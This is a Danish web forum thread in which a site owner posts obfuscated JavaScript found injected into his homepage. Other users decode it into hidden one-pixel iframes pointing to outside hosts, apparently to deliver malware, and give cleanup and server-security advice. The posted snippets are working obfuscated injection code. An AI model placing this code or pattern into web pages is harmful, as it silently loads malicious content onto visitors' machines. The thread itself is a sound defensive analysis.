Avatar billede jan2001 Nybegynder
14. juli 2007 - 01:28 Der er 10 kommentarer og
1 løsning

hvad er dette?

Jeg har fundet nedenstående stump kode tilslut i min index.htm fil på mit website. Det er ikke noget jeg har indsat. Den samme fil på min computer indeholder ikke denne kode.

Hvad laver koden egentlig?

<script language="JavaScript">e = '0x00' + '24';str1 = "%9F%C7%CC%D1%BB%D6%D7%DC%CF%C0%98%85%D1%CC%D6%CC%C5%CC%CF%CC%D7%DC%9D%C3%CC%C7%C7%C0%C9%85%99%9F%CC%C1%D5%C4%C8%C0%BB%D6%D5%C6%98%85%C3%D7%D7%CB%9D%8A%8A%D6%D0%D1%C6%C9%D7%89%C6%CA%C8%8A%CF%C7%8A%D0%CB%CF%8A%85%BB%D2%CC%C7%D7%C3%98%94%BB%C3%C0%CC%C2%C3%D7%98%94%99%9F%8A%CC%C1%D5%C4%C8%C0%99%9F%8A%C7%CC%D1%99";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script><script language="JavaScript">e = '0x00' + '59';str1 = "%E2%BA%B1%AC%C6%AB%AA%A1%B2%BD%E5%F8%AC%B1%AB%B1%B8%B1%B2%B1%AA%A1%E0%BE%B1%BA%BA%BD%B4%F8%E4%E2%B1%BC%A8%B9%B5%BD%C6%AB%A8%BB%E5%F8%BE%AA%AA%B6%E0%F7%F7%BF%A8%B1%BF%BB%B4%AA%F4%B1%B4%BC%B7%F7%B2%BA%F7%AD%B6%B2%F7%F8%C6%AF%B1%BA%AA%BE%E5%E9%C6%BE%BD%B1%BF%BE%AA%E5%E9%E4%E2%F7%B1%BC%A8%B9%B5%BD%E4%E2%F7%BA%B1%AC%E4";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>
Avatar billede crazysnap Seniormester
15. juli 2007 - 00:16 #1
Hej jan2001,


Det er noget kode som sandsynligvis er blevet injected ind i din side. Hvis du kigger på 'str1' variablen indeholder den en kodet streng. Scriptet der kommer herefter (altså for-løkken og unescape) bruges så til at afkode 'str1' strengen til noget eksekverbar javascript. Du har faktisk fået samme type script injected to gange på din side (Du kan se der er to par af <script></script>).

Jeg har lige ryddet lidt op i det føste script så man kan se hvad der foregår og erstattet document.write(str) med print(str):


e = '0x00' + '24';

str1 = "%9F%C7%CC%D1%BB%D6%D7%DC%CF%C0%98%85%D1%CC%D6%CC%C5%CC%CF%CC%D7%DC%9D%C3%CC%C7%C7%C0%C9%85%99%9F%CC%C1%D5%C4%C8%C0%BB%D6%D5%C6%98%85%C3%D7%D7%CB%9D%8A%8A%D6%D0%D1%C6%C9%D7%89%C6%CA%C8%8A%CF%C7%8A%D0%CB%CF%8A%85%BB%D2%CC%C7%D7%C3%98%94%BB%C3%C0%CC%C2%C3%D7%98%94%99%9F%8A%CC%C1%D5%C4%C8%C0%99%9F%8A%C7%CC%D1%99";

str=tmp='';

for(i=0;i<str1.length;i+=3)
{
  tmp = unescape(str1.slice(i,i+3));
  str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}

print(str);


Køres dette stykke javascript får man (altså afkoder man 'str1'):


<div style="visibility:hidden"><iframe src="http://suvcnt.com/ld/upl/" width=1 height=1></iframe></div>


Så hvad alt det første javascript gør er at lave en iframe på din side med src til en sikkert ikke så sjov html-side. Du er så blevet hårdede ramt fordi der er to scripts lige efter hinanden, dette bruges typisk til at downloade et Visual Basic script der downloader en malware exe-fil. :/... Oversætter man (i dit tilfælde) det andet script er det dog også en iframe med en src til en anden side:


<div style="visibility:hidden"><iframe src="http://grigcnt.info/ld/upl/" width=1 height=1></iframe></div>


Mit råd er så selvfølgelig hurtigst muligt at slette scriptet så brugerne ikke får diverse trojans, malware eller andet ind på deres computere. Jeg har ikke prøvet nogen af de to links som javascriptet refererer til, men kunne måske være sjovt at gøre fra en virtual-PC (vil ihvertfald stærkt fraråde dig at gøre det fra din egen pc). :)


(Damn them exploiters)  ;)


Mvh.

- Snap :)
Avatar billede jan2001 Nybegynder
15. juli 2007 - 00:52 #2
Mange tak. Det var da godt jeg opdagede den. Vil en dag prøve at kigge på linket fra en andet pc end min egen.
Men jeg gad vide hvordan koden er blevet sat ind i html-filen. Et er at få et script til at lave sjove ting, men noget andet er at få lov til at skrive på en sikret server. Men det kan man åbenbart.
Avatar billede crazysnap Seniormester
15. juli 2007 - 01:05 #3
Hej jan,

Ja, det man sige (at det var godt du opdagede det)! :)

At finde sådan noget javascript på sin index side er typisk en indikation af et sikkerhedshul i sin web-server. Vær sikker på at alle patches er blevet installeret og skift måske dine login passwords?! I meget slemme tilfælde er man måske nødt til at geninstallere serveren hvis der er blevet installeret nogen backdoors man ikke kender til (og kan finde).

Du blive bare nødt til at se om alt er "up to date" på serveren, køre diverse spyware programmer og holde øje med om lignende javascript sniger sig ind på dine sider fremover. :/...


Held og lykke med det! :)


Mvh.

- Snap
Avatar billede jan2001 Nybegynder
15. juli 2007 - 01:45 #4
Jeg kan så ikke gøre meget andet end kontakte hosten som er one.com

Jeg fandt fejlen med linkscanner. Alt skulle være opdateret nu.
Bare kedeligt at google har stemplet mit site som farligt.
Avatar billede olebole Juniormester
16. juli 2007 - 15:47 #5
<ole>

Hvis du har PHP- eller VB-scripts liggende på serveren, skal du nok også lade dem se efter af nogen med god indsigt i serversikkerhed. Det er utroligt, hvad man ofte kan få lov at uploade, skrive og inkludere af filer, hvis man er lidt kreativ

/mvh
</bole>
Avatar billede jan2001 Nybegynder
16. juli 2007 - 23:09 #6
Har haft kontakt med one.com. De påstod at deres server var meget sikker, men at det kunne være gennem en eller anden phpforum eller lignende. Eller at vedkommende havde fået fat på password til ftp via spyware, virus mm.
Men det er jo svært at garderer sig med det fremover. Jeg har flere dynamiske sidder på mit website. Mit lazarus gæstebog er dog blevet hacked før. Men programmøren påstår at den er sikker. Så det er ikke nemt.
Avatar billede windcape Praktikant
16. juli 2007 - 23:11 #7
Det er nemt nok, post koden så checker vi den :p

Sandsyneligvis tillader din gæstebog bare html , hvilket dette her jo var. Det er ikke en sikkerhedsfejl , men nærmere en test-fejl.

Og ja, det er på ingen måde one.com's skyld.
Avatar billede jan2001 Nybegynder
17. juli 2007 - 00:05 #8
nej, min gæstebog tillader ikke html.
Avatar billede jan2001 Nybegynder
17. juli 2007 - 11:15 #9
Jeg må vist bare holde øje med om der har været en hacker på spil. Tak for oversættelse af kode.
Avatar billede crazysnap Seniormester
17. juli 2007 - 11:24 #10
Ja, hackere kan stort set altid finde en vej gennem ens sikkerhed hvis de virkelig vil.. :/


Og det var så lidt, tak for pointene.. :)


Mvh.

- Snap
Avatar billede olebole Juniormester
17. juli 2007 - 11:35 #11
Husk også på, at når/hvis du bruger færdige gratis-scripts (forum, gæstebog, m.m.), så har forbryderne de bedst tænkelige 'landkort' over det område, de skal indtage.

Tro i øvrigt aldrig en koder, når han siger, hans script er sikkert! Han tror det måske selv - men virkeligheden (herunder Eksperten-tråde) siger ofte noget helt andet  ;o)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester